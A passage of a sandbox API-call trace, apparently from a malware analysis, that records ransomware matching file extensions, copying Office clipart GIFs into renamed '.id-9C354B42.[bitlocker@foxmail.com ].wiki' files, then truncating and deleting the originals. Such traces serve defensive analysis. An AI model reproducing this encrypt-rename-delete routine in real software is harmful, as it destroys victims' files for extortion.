lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.651] lstrlenW (lpString=".ppt") returned 4 [0060.651] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.651] lstrlenW (lpString=".zip") returned 4 [0060.651] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.651] lstrlenW (lpString=".rar") returned 4 [0060.651] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.651] lstrlenW (lpString=".bz2") returned 4 [0060.652] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.652] lstrlenW (lpString=".7z") returned 3 [0060.652] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.652] lstrlenW (lpString=".dbf") returned 4 [0060.652] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.652] lstrlenW (lpString=".1cd") returned 4 [0060.652] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.652] lstrlenW (lpString=".jpg") returned 4 [0060.652] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.652] lstrlenW (lpString=".doc") returned 4 [0060.652] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.652] lstrlenW (lpString=".docx") returned 5 [0060.652] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.652] lstrlenW (lpString=".pdf") returned 4 [0060.652] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.652] lstrlenW (lpString=".xls") returned 4 [0060.652] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.652] lstrlenW (lpString=".xlsx") returned 5 [0060.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.652] lstrlenW (lpString=".ppt") returned 4 [0060.652] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.652] lstrlenW (lpString=".zip") returned 4 [0060.652] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.652] lstrlenW (lpString=".rar") returned 4 [0060.652] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.652] lstrlenW (lpString=".bz2") returned 4 [0060.652] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.652] lstrlenW (lpString=".7z") returned 3 [0060.653] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.653] lstrlenW (lpString=".dbf") returned 4 [0060.653] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.653] lstrlenW (lpString=".1cd") returned 4 [0060.653] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0060.653] lstrlenW (lpString=".jpg") returned 4 [0060.653] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.653] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.653] lstrlenW (lpString="AG00142_.GIF") returned 12 [0060.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.653] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=15308) returned 1 [0060.653] CloseHandle (hObject=0x180) returned 1 [0060.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0060.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.653] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.654] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.654] GetLastError () returned 0x0 [0060.654] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0060.656] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0060.657] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.657] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.657] SetEndOfFile (hFile=0x20c) returned 1 [0060.657] CloseHandle (hObject=0x20c) returned 1 [0060.657] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.657] SetEndOfFile (hFile=0x180) returned 1 [0060.658] CloseHandle (hObject=0x180) returned 1 [0060.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0060.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.659] lstrlenW (lpString=".doc") returned 4 [0060.659] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.659] lstrlenW (lpString=".docx") returned 5 [0060.659] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.659] lstrlenW (lpString=".pdf") returned 4 [0060.659] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.659] lstrlenW (lpString=".xls") returned 4 [0060.659] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.659] lstrlenW (lpString=".xlsx") returned 5 [0060.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.659] lstrlenW (lpString=".ppt") returned 4 [0060.659] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.659] lstrlenW (lpString=".zip") returned 4 [0060.659] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.659] lstrlenW (lpString=".rar") returned 4 [0060.659] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.659] lstrlenW (lpString=".bz2") returned 4 [0060.659] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.659] lstrlenW (lpString=".7z") returned 3 [0060.659] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.659] lstrlenW (lpString=".dbf") returned 4 [0060.659] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.659] lstrlenW (lpString=".1cd") returned 4 [0060.659] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.659] lstrlenW (lpString=".jpg") returned 4 [0060.659] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.660] lstrlenW (lpString=".doc") returned 4 [0060.660] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.660] lstrlenW (lpString=".docx") returned 5 [0060.660] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.660] lstrlenW (lpString=".pdf") returned 4 [0060.660] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.660] lstrlenW (lpString=".xls") returned 4 [0060.660] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.660] lstrlenW (lpString=".xlsx") returned 5 [0060.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.660] lstrlenW (lpString=".ppt") returned 4 [0060.660] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.660] lstrlenW (lpString=".zip") returned 4 [0060.660] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.660] lstrlenW (lpString=".rar") returned 4 [0060.660] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.660] lstrlenW (lpString=".bz2") returned 4 [0060.660] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.660] lstrlenW (lpString=".7z") returned 3 [0060.660] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.660] lstrlenW (lpString=".dbf") returned 4 [0060.660] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.660] lstrlenW (lpString=".1cd") returned 4 [0060.660] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0060.660] lstrlenW (lpString=".jpg") returned 4 [0060.660] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.661] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.661] lstrlenW (lpString="AG00154_.GIF") returned 12 [0060.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.661] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5315) returned 1 [0060.661] CloseHandle (hObject=0x180) returned 1 [0060.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0060.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.661] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.661] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.662] GetLastError () returned 0x0 [0060.662] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x14c3, lpOverlapped=0x0) returned 1 [0060.663] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0060.664] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.664] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.664] SetEndOfFile (hFile=0x20c) returned 1 [0060.665] CloseHandle (hObject=0x20c) returned 1 [0060.665] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.665] SetEndOfFile (hFile=0x180) returned 1 [0060.666] CloseHandle (hObject=0x180) returned 1 [0060.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0060.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.666] lstrlenW (lpString=".doc") returned 4 [0060.666] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.666] lstrlenW (lpString=".docx") returned 5 [0060.666] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.666] lstrlenW (lpString=".pdf") returned 4 [0060.666] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.666] lstrlenW (lpString=".xls") returned 4 [0060.666] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.666] lstrlenW (lpString=".xlsx") returned 5 [0060.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.666] lstrlenW (lpString=".ppt") returned 4 [0060.666] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.666] lstrlenW (lpString=".zip") returned 4 [0060.666] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.666] lstrlenW (lpString=".rar") returned 4 [0060.666] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.666] lstrlenW (lpString=".bz2") returned 4 [0060.666] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.667] lstrlenW (lpString=".7z") returned 3 [0060.667] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.667] lstrlenW (lpString=".dbf") returned 4 [0060.667] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.667] lstrlenW (lpString=".1cd") returned 4 [0060.667] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.667] lstrlenW (lpString=".jpg") returned 4 [0060.667] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.667] lstrlenW (lpString=".doc") returned 4 [0060.667] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.667] lstrlenW (lpString=".docx") returned 5 [0060.667] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.667] lstrlenW (lpString=".pdf") returned 4 [0060.667] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.667] lstrlenW (lpString=".xls") returned 4 [0060.667] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.667] lstrlenW (lpString=".xlsx") returned 5 [0060.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.667] lstrlenW (lpString=".ppt") returned 4 [0060.667] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.667] lstrlenW (lpString=".zip") returned 4 [0060.667] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.667] lstrlenW (lpString=".rar") returned 4 [0060.667] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.667] lstrlenW (lpString=".bz2") returned 4 [0060.667] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.667] lstrlenW (lpString=".7z") returned 3 [0060.667] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.668] lstrlenW (lpString=".dbf") returned 4 [0060.668] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.668] lstrlenW (lpString=".1cd") returned 4 [0060.668] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0060.668] lstrlenW (lpString=".jpg") returned 4 [0060.668] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.668] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.668] lstrlenW (lpString="AG00157_.GIF") returned 12 [0060.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.668] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4955) returned 1 [0060.668] CloseHandle (hObject=0x180) returned 1 [0060.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0060.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.668] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.669] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.669] GetLastError () returned 0x0 [0060.669] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x135b, lpOverlapped=0x0) returned 1 [0060.670] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0060.671] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.671] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.671] SetEndOfFile (hFile=0x20c) returned 1 [0060.672] CloseHandle (hObject=0x20c) returned 1 [0060.672] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.672] SetEndOfFile (hFile=0x180) returned 1 [0060.672] CloseHandle (hObject=0x180) returned 1 [0060.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0060.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.673] lstrlenW (lpString=".doc") returned 4 [0060.673] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.673] lstrlenW (lpString=".docx") returned 5 [0060.673] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.673] lstrlenW (lpString=".pdf") returned 4 [0060.673] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.673] lstrlenW (lpString=".xls") returned 4 [0060.673] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.673] lstrlenW (lpString=".xlsx") returned 5 [0060.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.673] lstrlenW (lpString=".ppt") returned 4 [0060.673] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.673] lstrlenW (lpString=".zip") returned 4 [0060.673] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.673] lstrlenW (lpString=".rar") returned 4 [0060.673] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.673] lstrlenW (lpString=".bz2") returned 4 [0060.673] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.673] lstrlenW (lpString=".7z") returned 3 [0060.673] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.674] lstrlenW (lpString="C:\\Program 